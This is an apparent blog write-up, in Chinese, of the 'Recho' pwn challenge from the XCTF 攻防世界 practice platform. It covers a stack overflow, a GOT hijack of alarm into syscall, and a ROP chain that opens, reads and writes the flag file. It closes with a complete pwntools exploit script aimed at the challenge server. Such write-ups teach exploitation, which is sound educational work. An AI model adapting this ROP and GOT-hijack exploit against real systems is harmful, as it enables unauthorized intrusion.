• 【攻防世界】 高手进阶区 Recho WP


    0x00 考察点

    考察点有三个:

    1. ROP链构造
    2. Got表劫持
    3. pwntools的shutdown功能

    0x01 程序分析

    上来三板斧

    • file一下
      图片.png

    • checksec --file XXX
      图片.png

    • chmod 777 XXX加上./XXX 运行一下
      图片.png

    静态调试
    打开IDA-64,一路默认,看到main函数:
    图片.png
    可以看到执行的功能是先输入字符串长度,然后输入字符串,接着会返回指定长度的输入字符串。如果一开始输入的数字小于16,会指定长度为16。可以看到很明显的栈溢出漏洞。但是又有些不一样,看大神WP才知道需要shutdown('send')跳出循环才可以。

    0x02 漏洞在哪里?

    这个题目有个明显后门,在IDA中shift+f12查看程序中的字符串,发现有flag。可以将它read到bss段中,再通过write输出出来

    在gdb动态调试时,分析alarm,发现有
    disassemble alarm

    0x03 利用思路

    漏洞利用思路如下:

    1. alrm函数got表劫持到syscall位置
    2. open('flag',READONLY)
    3. 通过read将flag写入到bss段,之后再write输出
      ROP链条:
      syscall>>flag>>read>>write
      ROP地址
      图片.png

    0x04 EXP脚本

    exp代码如下:

    from pwn import *
    # io = process('./Recho')
    io = remote('111.198.29.45',41375)
    elf = ELF('./Recho')
    context.log_level = 'debug'
    pop_rdi = 0x4008a3
    pop_rdx = 0x4006fe
    pop_rax = 0x4006fc
    pop_rsi_r15 = 0x4008a1
    rdi_add = 0x40070d
    flag_addr = elf.symbols['flag'] 
    read_got = elf.got['read']
    
    # bss = 0x601090
    bss = elf.bss()  #两者都可以
    read_plt = elf.plt['read']
    write_plt = elf.plt['write']
    alarm_got = elf.got['alarm']
    alarm_plt = elf.plt['alarm']
    print 'flag: ',hex(flag_addr)
    
    
    payload = 'A'*0x30  #覆盖buf[40]; // [rsp+10h] [rbp-30h] 
    payload +='A'*0x08 #覆盖 rbp
    #alarm GOT表劫持到syscall位置
    payload += p64(pop_rax)+p64(0x5)
    payload += p64(pop_rdi)+p64(alarm_got)
    payload += p64(rdi_add)  
    # -------fd=open('flag',READONLY)-----
    
    payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag
    
    payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
    payload += p64(pop_rdx)+p64(0) # rdx = 0
    payload += p64(pop_rax)+p64(0x2) # rax=2,open的调用号为2
    # 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,r10,r9,r8
    
    payload += p64(alarm_plt) 
    # 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)
    payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加
    payload += p64(pop_rdx)+p64(0x2d) #指定长度
    payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =写入的地址,用于存取open结果
    payload += p64(read_plt)
    #输出flag值,write(1,bss,0x40),也可以用print函数
    payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
    payload += p64(pop_rdx)+p64(0x40)
    payload += p64(pop_rdi)+p64(0x01)
    payload += p64(write_plt)
    # 用printf 函数时,要注意bss段的可写性,bss此时应改为0x601090或者0x601070
    #payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)  
    
    io.sendline(str(0x200))
    # log.info('the length of payload is:',format(hex(len(payload))))
    print 'the length of payload is:',format(hex(len(payload)))
    payload = payload.ljust(0x200,'x00')
    io.send(payload)
    io.recv()
    io.shutdown('send')
    io.interactive()
    

    0x05 知识点

    1. 函数参数传递顺序
      当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

    2. shutdown('send')跳出函数无线循环

    3. rax寄存器在构造exp中,可用于劫持got表,调用系统序号函数。

    推荐阅读

    1. 攻防世界题目中的WP(https://adworld.xctf.org.cn/media/uploads/writeup/4b6e244402fe11ea9f5700163e004e93.pdf)
    2. 64位汇编参数传递
  • 相关阅读:
    Java 进程占用内存过多,幕后元凶原来是线程太多
    领域驱动设计系列文章(3)——有选择性的使用领域驱动设计
    领域驱动设计系列文章(1)——通过现实例子显示领域驱动设计的威力
    RabbitMQ
    Redis与Memcached的区别
    memcached源码分析-----slab内存分配器
    C# Finalize和Dispose的区别
    [IoC容器Unity]第四回:使用范例
    [IoC容器Unity]第三回:依赖注入
    [IoC容器Unity]第二回:Lifetime Managers生命周期
  • 原文地址:https://www.cnblogs.com/deerCode/p/12153246.html
Copyright © 2020-2023  润新知